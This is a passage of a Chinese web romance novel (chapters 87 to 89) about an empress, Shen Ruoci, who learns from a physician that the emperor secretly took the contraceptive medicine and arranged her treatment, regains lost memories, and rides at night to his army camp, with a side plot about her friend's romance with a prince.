“……好。”元栩用被子裹住她的身子,“那朕抱你过去。” 早些时候,锦云知道皇帝今夜要留宿,便早早将浴池里的水准备好,一直保持着水温,以供帝后二人随时取用。 元栩抱着沈若辞入水后,因着方才床榻上的事,她有意避他,拒绝了他的帮助。 哪知这才刚离了他的怀抱,整个人像是失了支撑,踉跄着就要跌入水中。幸好元栩全程目光不曾离开她身上,这才及时将人接住。 “让朕帮你,给朕一个机会,好不好?” 话是问得客客气气,可没等她同意,他的手早就举着浴巾往她浸没在水中、被他弄脏的地方去。 他的唇轻碰着她的耳廓,语气讨好,“你看朕的动作是不是很轻,很温柔,该洗的地方是不是里里外外都洗干净了?” 沈若辞“……” 她觉得他像个狐狸精,最不要脸的那种。 奈何自己现如今拿不出半分力气,只好先忍着他,好在他真的只是在很认真地帮她,并没有过分多余的动作。 等到帮沈若辞清洗完毕后,元栩□□让她坐在自己的左腿上,按着她的头靠在自己肩膀上,“沿沿先忍耐一下,容朕也清洗清洗。” 就这个姿势,他拿起沈若辞方才的用过的布巾开始擦洗自己,一套动作下来极其敷衍了事。 一眨眼的功夫,元栩将布巾往水中一扔,“好了,多谢沿沿等朕,朕这就抱你上去。” 沈若辞真怀疑他是撞坏了脑子。 等回到床榻上时,沈若辞才发现趁她二人清洗之时,已有人将被褥都撤了下去,换上干净崭新的床褥。 沈若辞睡在温暖的锦被中,欲言又止,“那床被子……” 元栩替她将散落在脸颊上的几缕发丝别至耳后,露出一张清透泛着春意的粉面,内心暗暗松了口气,温和道,“没事,朕刚刚跟她们说了,是朕喂你喝水时不小心洒上去的。” 第87章 “皇上对阿言姑娘也是如此细致用心?” 元栩一个眼风扫过来, 那眼神看得她下意识往被底下缩了缩。 元栩这才收回目光,“倘若朕如待你这般对待阿言,皇后也能忍?” 沈若辞从前是劝过他要雨露均沾, 如今回想起来就是在打自己的脸。她就算是后悔,也断不会让他知道, 只闷闷地缩在他怀里。 元栩见她半天不回答,以为她一如既往地不在乎自己, 哂笑道,“朕就没皇后大度, 要是其他男人,别说想碰你一下, 就是多看你一眼, 朕都想当场剜下他的眼珠子!” 沈若辞觉得他就惯会吓人, 多看她一眼的男子多的是, 怎么不见有人被挖眼珠子呢。 她的脑袋枕在元栩的胸口上,视线微微上移落在他轮廓流畅的下颚线上。 由于他现在的右手仍在轻抚着她的后背, 手掌起落间带动中衣的领口处上下滑动, 沈若辞这才发现元栩脖颈上靠近耳后的地方有一颗小小的痣。 这颗痣莫名有几分熟悉,似乎曾在哪里见过一样。 她抬起纤长的手指朝那处点了上去,按住那颗在衣领边缘若隐若现的小痣。 在被点住的瞬间,元栩下意识一颤, 继而周身血液仿佛都汇聚在她指尖下。 刚刚在兴头上晕过去,才将他吓得半死,此时又来撩拨他。元栩觉得沈若辞就是他命中一大劫数, 说不得、恼不得,再怎么捂着也不会热,他咬着牙压抑道, “朕此前已经旱了半月有余,区区两回根本泄不了什么火!” 真小气。沈若辞收起手掌,她记得阿言进宫也有半个月了,莫非这半个月来他都没有与阿言旧情复燃,更没有动过她? 可沈若辞分明记得那日阿言从龙泽殿中出来时气短虚脱的模样。 “阿言姑娘……”她挣扎着要从他怀中起身,哪知刚从被褥中探出半个身子,就被他一掌按回去。 元栩极不喜欢沈若辞三言两语就把他推给另一个女人,显得他这个皇帝很不值钱似的,随随便便什么女人都能来睡他。 他用了一点时间平复呼吸,将话题转移到别处,“还有一件事,朕觉得有必要让沿沿也知道一下。” 沈若辞自他怀中抬起一双雾蒙蒙的眸子。 元栩前一刻还觉得心塞不已,眼下对着这双漂亮的眼睛,不由得又开始心软,他无声地叹了一口气道,“元琛跟程于秋搅到一块去了。” 沈若辞茫然地眨了眨眼……! 下一秒她就无法淡定了,一只手慌乱地在元栩身上乱摸,想找个合适的部位借力起身,却被元栩一掌握住,眼见坐不起来,她干脆一不做二不休直接趴到元栩身上去。 眼睛直勾勾地盯着元栩,“皇上您说清楚!” 元栩悠悠地回看她,“有什么好说的,他二人也不是小孩子了,情投意合走到一起,不也正常。” 元栩揉着她手,揉了一会,又把她从自己身上扒拉下来,按到怀里去。 程于秋喜欢元琛吗?沈若辞觉得这个问题元栩肯定也是不清楚的,她必须找个机会好好问问当事人才是。 元栩强硬地搂着她不给她动来动去,“赶紧睡,睡晚了今晚就没得睡了。” 沈若辞知道他说出这话,绝对不是危言耸听。 刚刚她的手不小心按在他的绸裤上,便知底下绷得有多紧。她吓得一骨碌缩回他怀中,再也不敢乱动。 ** 翌日,龙泽殿中如往常般寂静无声,岳常安手执墨锭,眼见砚池里墨汁已如凝脂,这才搁下墨锭退至一旁。 哪知才刚站稳,那本该跪在殿门口处的女子,此刻步履蹒跚、踉踉跄跄地跪倒皇帝面前,流着眼泪问道,凄凄然然地开口,“皇上,阿言究竟犯了什么错,皇上为何非要如此作践阿言?” 话毕,殿中一片寂静。 元栩未曾给她一个正眼,手中笔不离手。等到阿言在无尽的煎熬中脸色苍白,几近绝望之时,才轻慢地回道,“什么错你问朕?朕是给你这种人答疑解惑的?” 阿言闻言瞪大了眼睛,她早已被这些天的遭遇折磨得心力交瘁。明明此前连骁说的是送她进宫来享福的,为何她经历的却与连骁的话大相径庭。 富贵险中求。 事到如今,阿言觉得自己还可以放手一搏,她干脆从地上站起来,扬起这张令她引以为傲的脸庞,“人心这么容易变吗,不过才两年,皇上真就不喜欢阿言这张脸了吗?” 就算她是冒名顶替的,可这张脸错不了,她还能借它来搏一搏前程。 元栩终于搁下笔,施舍般地给她一个冰冷的眼神,“继续去跪着,等你想通要怎么做之后,才有资格跟朕说话。” 阿言情绪几近崩溃,而后瘫倒在冰凉的地面上哭到浑身颤抖,却始终不敢发出半点声响。 ** 雪辉宫里,今日暖阳高照,沈若辞牵着小白马在花园走了一圈又一圈,直到一人一马都走累了,才坐在草坪上休息。 沈若辞垂眸看小白马四条腿随意地蜷在身侧,正舒舒服服地躺在柔软的草地上,一边吃草一边晒太阳。 想它年纪小小就独自一马从南疆来到盛京,必定也如她一样,多少有些心事烦恼,她同情地摸了摸小白马的头,“小马小马,你有没有什么烦恼?” 小白马对她的关心充耳不闻,沈若辞觉得有必要给它点甜头,“有烦恼的话你偷偷告诉我,我可以帮你解决。” 她本一腔热忱想替对方解决烦恼,奈何小白马对她的话不理不睬,只顾着低头认真吃草。 沈若辞算是看明白了,原来只有她才是那个有烦恼的人。比起小白马来说,她才是需要被帮助的那个。 看着地上草坪被小白马啃得东秃一块,西秃一块,她自言自语道,“你的烦恼应该是花园里的草不够肥美,看来明年春天我要在花园里多撒一些草籽,好让你天天都有充足新鲜的青草可以吃。” 话一出口,沈若辞又忍不住去想,如今自己是去是留尚无定论,她会在这里留到明年春天吗? 不管结果如何,沈若辞拍了拍小白马日渐肥壮的马背,“放心吧,不管日后去哪里,我都会带着你的。” 小白马对她的真情告白毫无波澜,沈若辞不由得想这世间的木头也不止一个。 她甚至都有想放弃曾经那位心上人,与他携手共度余生的念头,可他怎么就不懂呢? 日子不咸不淡,很快到了腊月,元栩比之前更忙了,经常连人影都见不到。 沈若辞想念父亲了,便叫来锦云吩咐道,“锦云,麻烦你跑一趟,去跟皇上说,本宫想回相府一趟。” 等锦云到龙泽宫将皇后娘娘的诉求转述之后,元栩不禁皱起了眉头。他一早就计划好接下来几天要去南山视察军营,眼见出发的时间迫在眉睫,只好让严从晖留下来亲自护送沈若辞回去。 沈若辞知道元栩最近忙于政务,也没抱希望对方能陪自己回去。下午她轻装出行,带着锦云和阿茉回到相府跟沈相一起用了晚膳。 席间沈墨愈发慈爱地询问她近来跟皇帝相处得如何,有没有计划要孩子之类。 沈若辞听到目瞪口呆,她其实还没想好是否要跟元栩继续继续做夫妻。她甚至还记得沈墨之前跟她说过的话,若有朝一日,她想离开元栩,会寻求父亲帮助。 可眼下父亲已然认定她跟元栩会一路走下去。 沈若辞对这段一开始就不纯粹的关系感到迷惘,她很想听一下其他人的对待感情是何种态度。她放下筷子,小心翼翼地问道,“阿爹,您从前喜欢我娘吗?” 沈墨握着筷子的手一顿,他的筷子原本快要触及盘中青菜,可就在静默了一瞬之后,又将筷子收了回去。 沈若辞看了一眼沈墨面前筷托上的筷子,愧疚道,“对不起,阿爹……” 在沈若辞打算将这件事翻页的时候,沈墨却放软了声音轻声道,“阿爹肯定喜欢你娘,所以才会有沿沿。” 话音刚落,沈若辞心头一颤,顿时觉得眼眶酸涩无比,心头的情绪连带眼泪开始不受控制地翻涌。 她忍下想哭的冲动,抬起头怔怔地望着沈墨,心头万般暖意流淌,“阿爹,有您这句话,沿沿真的很开心。” 沈墨重新拿起筷子,催促道,“快吃饭,菜都凉了。” 沈若辞原先是准备用完晚膳就回皇宫,可今晚她意外从父亲口中得知阿爹与阿娘的一点过往,心头被喜悦填满了,决定要在相府里多住一晚。 沈墨知道元栩接下来几日都不在皇宫里,欣然接受女儿在府中过夜。 期间沈若辞像从前未出阁那般,陪父亲说话、下棋、散步……等到隔天用完晚膳才离开相府。 沈若辞坐上在回宫的马车,一想到今夜雪辉宫里又是自己一个人,冷冰冰的终不如自己家里温暖,她心头就萌生了淡淡的哀愁。 回想起刚入宫那阵,她还很怕元栩,夜里被他欺负狠了的时候,也不敢反抗,只敢捂着嘴偷偷哭。可除去床榻之事,其余时间她过得还是挺开心的。 可如今,元栩好像没有从前可怕了,她反而过得不如从前开心。 马车已走出一半路程,沈若辞却临时命人将车头调转,她要去见一见程于秋。 为了方便日常出勤执行公务,前些日子程于秋已搬回将军府长住。 等到了将军府,沈若辞跟门房打过招呼后,轻车熟路地来到前院。 院中灯火通明,程于秋正专心教人练武,根本没有察觉到她的到来。 等她走近一瞧,这才发现学武之人竟是那鼎鼎大名的容王殿下。 虽早已有心理准备,但此时沈若辞见到程于秋跟元琛在一起,心里还是有说不出的别扭。 她极轻地咳嗽一声,这才引来那两人的注意。 第88章 程于秋喜出望外地张开双臂朝她抱了过来, 边抱边问道,“沈沿沿,你今晚怎么有空过来的?” 沈若辞朝后退了一步, 与她分开一点距离,“阿秋, 我今晚想留在将军府里过夜,好不好?” 程于秋听她要留下来过夜, 更兴奋了,“好啊好啊, 今晚我们一起睡。” 得到肯定的答案,沈若辞甚是得意地占着程于秋, 看向元琛, “不好意思啊容王殿下, 今晚阿秋是属于本宫的。” 元琛一脸无辜, 可怜兮兮地望向程于秋,“程将军当真决定选皇后娘娘, 不选在下了吗?” 程于秋一掌往元琛头上呼去, 被他轻轻松松躲开了。 顶着程于秋震惊的目光,元琛颇为得意地笑道,“程将军觉得我这位徒弟,学以致用的能力如何?” 程于秋还想再试他几掌, 好灭灭他的威风,好在被沈若辞拦住了。 沈若辞不知元琛身手如何,但程于秋的实力她再清楚不过, 方才那一掌要是辟元琛头上,免不了头晕耳鸣。 她故意端起架子,不满道, “本宫亲临将军府,可不是来看你们俩打情骂俏的。” 话音刚落,那位战场上刀枪不入,所向披靡的女将军竟也红了耳根。 她用手肘顶了一下沈若辞,“胡说什么呢沈沿沿!” 元琛笑而不语,只朝她二人作了一揖,“那在下告退了,不叨扰二位仙子聊天叙旧。” 沈若辞伸出一根手指指了指元琛的背影,问道,“他平时都这么会说话吗?” 见程于秋无奈扶额,沈若辞便知道答案了。 二人回到程于秋的闺房,程于秋从衣柜里拿出一身干净的中衣递给沈若辞,“今晚你就穿这一身。” 沈若辞拿了衣裳就先去沐浴,接下来再是程于秋。 等程于秋洗完后从浴间出来,沈若辞拿来布巾替她绞干头发。 边绞边叮嘱道,“你啊,习完武洗头的时候记得绞干再睡,免得日后喊着说头痛。” 程于秋被伺候得舒舒服服。浑身放松躺在她腿上,颇有微词,“你如今怎么比元琛还烦人?” 沈若辞手上动作一顿,而后莞尔道,“多一个人管你才好呢,免得你胡作非为。” 程于秋漫不经心的地玩着她瓷白的手腕,“我原本还怕你会反对我跟元琛的事。” 沈若辞拍开她作乱的手,“只要你喜欢他,他又愿意对你好,我比谁都乐意你俩在一起。况且多一个人管着你也是好的,我才不反对呢。” 绞干头发后,程于秋垂着眼皮坐在床榻上,不住地傻笑。 沈若辞将布巾搭在一旁的椅背上,“九皇叔怎么说?” 程于秋这才抬头,认真答道,“义父不喜欢元琛,起初确实是不同意的。后来元琛表示愿意入赘我们程家,他想想也就同意了。” 沈若辞吃惊过后又无比赞许地点头,“倒没想到容王殿下还是个情种,竟愿意为我们阿秋入赘。” 程于秋难得露出羞赧的神色,“是,他知道我不想去他们王府做媳妇,就决定不如由他来程家做女婿。反正他家人丁兴旺,兄弟众多,不差他这一个。” 沈若辞终是忍俊不禁地“啧啧”两声。 感受到沈若辞对元琛的认同,程于秋愈发雀跃地分享她的跟元琛之间的一些约定,“我跟你说,元琛还说成亲后我还可以放心去做我的程将军,家里的事不用管,他来处理就好。” 沈若辞都要对元琛改观了,没想到他在外是个纨绔公子哥,私底下却是个懂得尊重爱护女子的暖男。 想起这些年来程于秋孤孤单单一个人,风里来雨里去,有多不容易她是最清楚的。好在终于有一个人可以与她并肩同行,风雨同路,这份喜悦她能感同身受。 沈若辞伸手环住程于秋的腰,“阿秋,我现在都好羡慕你,拥有容王殿下这么一个“贤内助”。” 程于秋回抱住沈若辞,志得意满地抚了抚她的发顶,笑得咯咯作响,“我其实也没想到的沈沿沿,他长得那么好看,又愿意这般顺着我,我算是捡了大便宜了。” 在沈若辞心中,不管元琛再好,也比不上她的阿秋。她纠正道,“他要不是这般懂事,哪里配得上我们阿秋!” 程于秋被逗得哈哈大笑,只差在床上打滚了。 沈若辞觉得这才是程于秋最好的结局,她是要振翅高飞的雄鹰,不该被困在后宅埋没才华。如今有人能欣赏她,且愿意支持她,尊重她,真的是再好不过了。 从上回在郾城开始,程于秋多多少少能看出沈若辞有心事,只是之前一直没机会问问她,“沈沿沿,其实我心里还是有点担忧你的。当初你肯定不是心甘情愿入宫,本来宫里就有其他妃子,听说这些日子又多了个什么阿言姑娘。你老实告诉我,他有没有冷落你?” 沈若辞没想到程于秋如今也这般心思细腻,她动了动唇瓣,终是不知该如何回答这个问题。 程于秋伸手拍了拍她的肩膀,“他要是对你不好,我们可以想法子离开他,并不是一定要留在他身边受苦的。” 程于秋的话让沈若辞湿了眼眶,她将这些日子一直积蓄在心头的委屈都向她倾诉出来,“可是阿秋,不是这样的,我想留在他身边,我已经开始对他产生了不该有的心思。可是他的情况你也知道,他身边一直有其他女人,他的心也并不属于我……” 程于秋有了元琛之后,才慢慢对男女之间的感情有了一些认知。有时候感情并无法做到理智,她抱了抱沈若辞,“哭吧,哭出来好一点。” 隔天,程于秋说服沈若辞留下来多住几天。夜里城中有夜市灯会,她决定陪着她出去走走,好让沈若辞散散心。 程于秋觉得,皇宫那种地方,待太久是会让人发疯的。 夜里灯会上异常热闹,沈若辞跟程于秋一起挤在人群中看戏班子表演。 元琛则跟严从晖站在一起,离她二人几步之遥。既不打扰,又能让人随时保持在视线中。 看完戏班子表演,二人又去河边放花灯。 等程于秋写完,沈若辞探头过去一看,见纸张上赫然写着,“希望沈沿沿开心快乐。” 沈若辞瘪瘪嘴,“许愿就该写你自己的愿望,写我做什么。” 程于秋拍了拍她的背,“我对我如今的生活很满意,唯一不放心的就是你。只要你开心,我的生活就圆满了。” 沈若辞笑道,“那我岂不是要写“希望阿秋愿望成真”?” 话音刚落,二人对视一眼,不约而同地笑了起来。 严从晖全程认真地盯着沈若辞那盏花灯,看她从哪里放下去,又飘往何处。等到沈若辞二人从河岸边走开后,他便顺着河道往下,捞起沈若辞的花灯,偷看了纸上的愿望后,又将纸张原封不动地塞回花灯里放入水中。 元琛一头雾水地看完他这一系列操作,等到严从晖抬头与他对视的瞬间,他心领神会,便知这般行径是谁授意的。 发现自己的行为败露后,严从晖露出赧然的神色,再无贼心去捞程于秋的花灯。 元琛笑而不语,示意他赶紧跟上。 等逛到了一处人流稀少的地方,二人想找个茶楼歇歇脚,迎面走来一位仙风道骨的老先生。 那老者目光落在沈若辞身上,看了她一阵之后,才开口,声音低沉有力,“夫人,好久不见。” 沈若辞疑惑地望着眼前这位老先生,又无措地看向身旁的程于秋,对他并无半分记忆。 那老者又开口道,“老夫曾替夫人看过病。” 沈若辞这两年来确实看过不少大夫,可她对这位老先生并无半分印象。她看向一旁刚赶上来的严从晖,听他说道,“夫人,这位是成老先生,此前确实给您看过病。” 严从晖思忖了一下,又补充道,“您在宫里晕倒那次。” 原来如此,那次晕倒后她晕睡了一夜,确实不清楚有人给她看过病。 沈若辞借此机会向她表达了谢意,“多谢成老先生。” 成聿摆摆手,“老夫想趁此机会替夫人诊一下脉象,不知夫人可方便?” 于沈若辞而言,成聿毕竟是头一回见面的陌生人,她无法完全防线戒备,私下递了一个眼神给严从晖,见他轻点了点头,才回道,“有劳成老先生。” 一行人来到最近的茶楼里雅间里,等沈若辞坐定后,严从晖等人便退出去,只留下程于秋陪着沈若辞。 雅间里清雅安静,成聿三指并拢,指腹轻按于沈若辞手腕之上。 被按住的瞬间,沈若辞不由得屏息凝神。她轻轻抬眸看向成聿,只见他双目微阖,眉目坦然,另一只手轻抚着长须,动作徐缓沉静。 良久,成聿松开三指抬起眼眸,轻声问道,“娘娘还有在药浴吗?” 沈若辞茫然,心想有在药浴的人不是元栩吗,为何她也要? 成聿见她久久不曾开口,以为沈若辞是断了药浴太久,没有印象了,便又补充道,“劳烦娘娘回想一下,最近一次药浴是什么时候?” 沈若辞迟疑道,“最近一次药浴是在十日前,可本宫只是陪着皇上药浴,并非本宫自己需要。” 成聿闻言露出诧异的神色,他从前是宫中的太医,对元栩的身体素质十分了解,“想必娘娘误会了,药浴大多适用气虚体弱的女子。皇上身强体壮,根本无需用上药浴。” 沈若辞脑中一片混沌,后知后觉地冒出一些陌生的想法,难不成该药浴的人一直是她,而他不过是陪着她而已? 可这种的假设太过荒谬,她下意识觉得不可能。 沈若辞脸色微微发白,“成老先生说得药浴,是不是要在夫妻行房后进行……” “对。可能那回在龙泽殿中皇后娘娘晕过去了不清楚事情经过,老夫就是在那天夜里为您诊脉,并将用药及药浴相关注意事项告知皇上。” 所以,也就是在头一回见面,元栩就知道她的病情,同时也知道了要如何进行医治。 见沈若辞对他的话表现出茫然不解的神态后,成聿心中了然,大概能猜出皇上并没有将那日看诊后的情况告知她。 “依照老夫方才诊脉结果来看,娘娘日常吃药及药浴都是有如期进行的,否则没有今日这个效果。” 沈若辞无比震惊地望向程于秋,她从未想过自己身体好转的原因竟是因为元栩给她吃的“避子药”以及行房后的药浴。 成聿笑道,“皇上曾多次宣老夫过去了解您的病情,得知药浴要在行房后进行,还着重问了老夫男子初次行房要注意些什么,当真是事无巨细,身体力行。” 沈若辞越听越觉得离谱,元栩与她在相府那一次…… 竟也是初次?人在无语的时候总是会想笑,这人到底是瞒了她多少事! 他是傻瓜吗,明明药浴是对她身体好,是在给她治病滋补身子用的,何必要隐瞒着她呢?她曾多次因药浴的滋味太难挨、药味太苦涩而迁怒元栩,他也默默受着不做辩白。 这个傻瓜! 成聿叮嘱道,“目前看娘娘身体已无大碍,但药浴对您的身体有益无害,还可以适当进行。不过……”成聿方才从沈若辞话中猜到皇上大概率是陪着皇后一起药浴的,小夫妻感情好也是人之常情。不过他身为医者,仍需提醒一下,“今后娘娘一人进行药浴即可,皇上不必用那些药,用多了反而对身体有害。” 沈若辞脸色由白转红,“多谢成老先生,本宫会转告皇上。” 不止会转告,还要严令禁止! 成聿认可地点点头,突然又想起一事来,“如今皇后娘娘的身子已适合怀孕,无需再避孕了。也劳烦您转告皇上,避子药可以停了,不必再喝。虽说男子用的避子药对身子的伤害较对女子用的小,但是药三分毒,还是不可多用。” 沈若辞!!! 她一直以为自己避子药是自己喝的,哪成想是元栩瞒着她偷偷在喝! 也难怪那一回她怀疑自己怀孕了,元栩回答得阴阳怪气,还问她怀的是谁的孩子。那时候她听不懂他话中所指,今时今刻却再明白不过了。 沈若辞再也忍不住只在心里偷偷骂了,她几乎是若口而出,“这个大傻瓜!” 声音太大,将成聿吓了一跳。 沈若辞意识到自己失态,抱歉地朝成聿笑了笑,“本宫失礼了。” 成聿将事情交代完毕后便告辞离开了。 等成聿走后,程于秋咽了咽口水,难以置信地问道,“这么说,皇上一直在给你治病,就是一直没告诉你?” “而且他还瞒着你,一个人偷偷喝避子药!” 沈若辞沉吟片刻后缓缓点头。 就算到此刻,她都无法完全相信成聿的话。毕竟元栩最初为了牵制父亲才逼迫她入宫的,怎么有可能在入宫前就为了她的身子开始做准备呢? 这一切都太匪夷所思。 程于秋也觉得不符合常理,“他会不会是有什么阴谋?” 话刚出口,又自我否定地摇了摇头,“不可能。”没有这个必要。 恰好此时,严从晖过来禀报河边要开始放烟花了。程于秋便将这些事都抛至脑后,拉着沈若辞朝河边跑过去。 天上星河流转,地下河流映着两岸灯火蜿蜒起伏。 沈若辞站在翘首以盼的人群中,莫名觉得眼前的河流、灯火如记忆中走出来一般熟悉。 头顶的烟花开始绽放,她仰着头,眼中闪过的烟花一幕接着一幕。 现实与记忆来回切换,缠绕交织。她脑中突然出现梦中的场景,漫天灯火下,她与少年同行河岸上,扭头的瞬间,少年脖颈上那颗细小、秀气的痣于衣领处若隐若现。 正如那夜在雪辉宫里,她在元栩身上看到的一模一样。 头上的烟花再次绽放,流光四溢,周遭人声鼎沸,烟花绽开的声响不绝于耳。 少年回头,露出一张她无比熟悉的面容。 沈若辞感觉一朵烟花在脑中炸开,瞬间一片空白。她胸腔剧烈震动,上下起伏,猛烈的情绪交加,一遍又一遍地冲刷着她的理智。她终是承受不住冲击,无力地闭上眼睛。 再抬眸已热泪盈眶。 “阿秋,阿秋……”沈若辞连唤了她两声,才将她从流光溢彩的画面中拉回来。 程于秋低头的瞬间才发现沈若辞满面泪痕,惊得她立即捧起她的脸,惊慌道,“怎么了,好好的怎么突然哭了?” 沈若辞任由泪珠扑簌扑簌往下掉,明明哭得哽咽不已,声音颤抖中却透着坚韧,“阿秋,我想起来了,我都想起来了……” 她连说了几遍,仿佛想将这两年来失去的记忆都找补回来,牢牢握住,再也不想忘记。 程于秋原本差点都被吓死了,此时听她说完,发现是虚惊一场,心上的大石头才落地。她拉着沈若辞的手走出人群,来到人少的地方,拿出帕子替她擦了擦脸。 看她情绪稍微稳定下来,才开口问道,“想起什么来了?” 沈若辞如梦初醒般的回过神来,她立即握住程于秋的手,“阿秋,我现在就要去见他,失陪了。” 话说完后几乎是迫不及待地转身奔向严从晖,“严统领,本宫要见皇上,请您带路。” 说话间她已抢过身边侍卫的缰绳,翻身上马。 严从晖眼疾手快勒住缰绳,抬头仰视她,只给反应不给回应。 沈若辞坐在马上,缰绳在严从晖手中,□□的马只能小幅度踱步,急得她厉声喝道,“严统领,本宫的命令你也不听是吗?” 程于秋追上来后,望着沈若辞坚定且急迫的眼神,当即转头去看严从晖,“拜托严统领带娘娘去见皇上。” 严从晖眼神终是有所松动。 凛冬严寒,夜里骑马必是寒风刺骨。程于秋拿过锦云手上预备着的白狐裘,递到马上,“沈沿沿,先穿上狐裘,帽子也戴好。” 等沈若辞依言穿戴完成之后,严从晖这才松开沈若辞的缰绳,转身上了自己的马。 一行人顶着冬夜寒风出发前往京郊大营。 半个时辰后,沈若辞抵达军营,在严从晖的引领下来到元栩休息的地方。 此时夜已深,元栩帐中仍亮着灯,严从晖在站在门口低声禀道,“启禀皇上,皇后娘娘有事求见。” 寂静无声的帐中忽有重物落地,发出沉闷的声响。紧接着脚步声匆匆,越来靠近,就见元栩披散着头发,身着单衣赤脚从帐中推门而出。 目光在场中绕了一圈,最后停在沈若辞纤细的身姿上。 此时她浑身上下裹着白狐裘,头戴帽子,只露出一张莹白的小脸。嘴唇冻得发紫,小口微张,轻轻吐着白气。 元栩俨然忘了自己没有穿鞋,三步做两步走到沈若辞跟前,牵起她的手将人拉入帐中。 进到帐中,元栩放开她手,他压下怒气转身看着她,“有什么话,说吧。” 元栩语气硬邦邦的,明显是对她不打一声招呼,便临时起意连夜赶来这一行径有所不满。 想起元栩临入帐前眼神不善地瞪了严从晖一眼,沈若辞怕他因为自己的行为被牵连,本着一人做事一人当的态度,她主动认罪,“皇上请不要责怪严统领,是沿沿逼他带我过来的,要罚就罚我。” 元栩眉头愈发紧蹙,“说你的事。” 沈若辞一早就想说了,“臣妾想问皇上一句话,这些天您有没有与那位阿言旧情复燃?” 元栩摇头,诧异她天寒地冻特地赶来,竟是为了这些不相干的小事,“就为了问这个?” 他的语气愈发不善。 沈若辞点头,又摇头,“不止,我还想问,您有没有碰过她?” 她眼神格外专注,在等他的答案。 元栩神色不经意间流露出几分厌恶,“没有。” 沈若辞这才卸下严肃认真的神情,朝他奔了过去,径直投入他怀中,而后咬着他的耳朵轻声问道,“那您之前说过,没有其他女人,只有沿沿一个,这话是不是也是真的?” 冰冷的唇瓣落在他的耳廓上,元栩被激得周身一颤。 没等他回答,沈若辞直接坐到他怀中去。像之前喝醉酒那般捧起他的脸,眼中亮莹莹的,恍若揉碎漫天星辰置于其中,她开始吻他。 元栩被她勾得不知东西南北,等她笑盈盈地与他分开,重新凝视起他的脸时,他才找回一丝理智,“喝酒了?” 他凑过去嗅了嗅她的唇,又闻了闻脖颈下的衣物,并无半分酒气。 诧异之余,他又抬手向她额头摸去,发现并无发热之后,神色愈发诧异。 在他思考还有第三种原因导致她出现眼下这种状况时,沈若辞的手已摸向他的腰腹。 元栩直接了当按停她的手,喉结上下滚动两次,哑声道,“沿沿吃了一路的风沙过来,不先去洗洗吗?” 沈若辞真没想到这个点,她此时只想靠近他,与他耳鬓厮磨,与他合二为一。 奈何元栩都将话说出来了,她只好不情不愿地进了浴间清洗。 元栩这才披上外袍走到帐外,叫来严从晖问话。 “从晖,皇后今天喝酒了吗?” 第89章 严从晖一路跟着沈若辞, 并未见她喝过酒,如实答道,“回皇上, 娘娘并没有喝酒。” 他简单说了一下沈若辞的行程以及途中都做了些什么事,又将遇到成聿且给沈若辞号脉一事一并说了出来。 除去意外碰到成聿这一档子事, 其他的都是再正常不过的小事,元栩更想不通问题出在哪里了。 元栩正思考的时候, 严从晖忽道,“娘娘今晚放的花灯, 上边写的愿望是愿程将军的愿望成真。” 元栩沉吟了片刻,开口训斥道, “朕要你多事了吗?” 严从晖头一回做狗腿子就挨了训斥, 真是懊悔万分, 当他决定日后再也不做这种阿谀谄媚之事时, 就听皇帝淡淡地开口,“程于秋的愿望你没看?” 严从晖“……” 看来他不是不该做, 是做得还不够。 等元栩重新回到帐中时, 沈若辞仍未从浴间出来,他撩开帘子径直朝里走了进去。 军营环境简陋,沈若辞就着半桶热水擦洗身子。此时她已将发髻拆下,一头长发披至身后, 掩去大半风光。 察觉到元栩的脚步声,她起身回头,身上只着一件藕色的小衣。与元栩眼神相接的瞬间, 她没有如往常那般羞恼地想要避开,反而无比赤忱地与他相对而立。 她眼睛亮亮的,抬手朝后劲处轻轻一拉, 藕色的布料从山峦起伏处开始滑落,峰峦尽显,山花欲燃。 她双手背在身后,一脸纯稚地问道,“皇上要不要检查一下臣妾有没有洗干净?” 帐中燃着炭火,时值寒冬,不穿衣裳还是能感受到冷意,元栩解了外袍直接披在她身上。 “去床榻上检查。”说着弯身下去将人横抱到榻上。 沈若辞双臂仍挂在他的脖子上,顺着坐下的姿势便开始勾着他。 哪知往日对这事再主动不过的元栩,此时竟不为所动。 沈若辞只好松开双臂,摸着他的手朝身上带,“皇上可以开始检查了。” 元栩淡然地收回手,“别闹,朕今晚不方便。” 男子也会有不方便的时候吗?沈若辞这才想起成聿说过元栩喝避子药的事,估计他是在意这一点,“严统领没告诉皇上吗,成老先生给臣妾诊过脉。” 见她一脸狡黠的模样,元栩便知沈若辞已猜出他找严从晖问过话。 他挑眉,无奈道,“成聿这么多嘴吗?连这事也告诉沿沿。” 沈若辞得意道,“臣妾知道的还不止这件事。”她仰头又亲了亲他的眼睛,“臣妾还知道,皇上的第一次可是给了沿沿。” 她明明羞得脸颊都如熟透的蜜桃,却偏要佯装镇定,腰肢款摆,贝齿轻咬着下唇,含情脉脉地与他对视。 元栩受不住这般撩拨,他都快要被她逼疯了,“皇后最好跟朕说清楚,为何今夜要这般!” 既无喝酒又无发热,那便是没有把他错认成别人了。 可她为何顶着寒风赶来京郊,又待他一反常态的热情,着实让他匪夷所思。 难不成…… 他脑中又蹦出梦境中那一幕,沈若辞信誓旦旦地说要与元赫要一同前去虞城,被他阻止后,便要与元赫一同赴死。 元栩下意识收紧手上的力道,哪知却引来沈若辞一声闷哼,他这才发现自己的手箍着她的腰,不经意间弄疼她了。 她拧着眉,眼神中都是对他粗鲁行为的控诉。 元栩用手揉了揉被他弄疼的那处,“你给朕说实话,今晚这般披星戴月地赶过来见朕,又对朕亲密如斯,是不是想要迷惑朕,再弃朕而去?” 除此之外,他想不到更合适的答案了。 此时她身上仍披着他的外袍,跪在榻上就开始吻他,红唇娇艳柔软,她的手与唇一处,缓缓抚平他紧锁的眉心,“你是傻瓜吗?” 原本放松的眉心又微不可察地蹙了一下,他的手虚虚的搂着她的腰,“别以为沿沿亲了朕,朕就要惯着你,任你口无遮拦。” 对于他的冰冷的警告,沈若辞不屑地挑眉一笑,又凑上去亲他,“傻瓜。” 面对她的挑衅,元栩终是无可奈何地忍下。 “狼崽子。” 她亲一会就要调侃他一次。 元栩被她撩得不上不下,心里本来就窝火,她还左一句“傻瓜”右一句“狼崽子”,他再忍耐下去,沈若辞都快骑他头上去了,他狠下心将那正在黏黏糊糊吻他的人从身上拉开。 “够了!” 目光触及她的脸时,话音戛然而止。他这会子才发现,沈若辞在亲他的同时,一直在默默流着泪。 她整张脸都被泪水浸透,莹莹水光在灯火映衬下愈发显得小脸楚楚可怜,整个人就像个精致的瓷白娃娃,有种一碰即坏的破碎感。 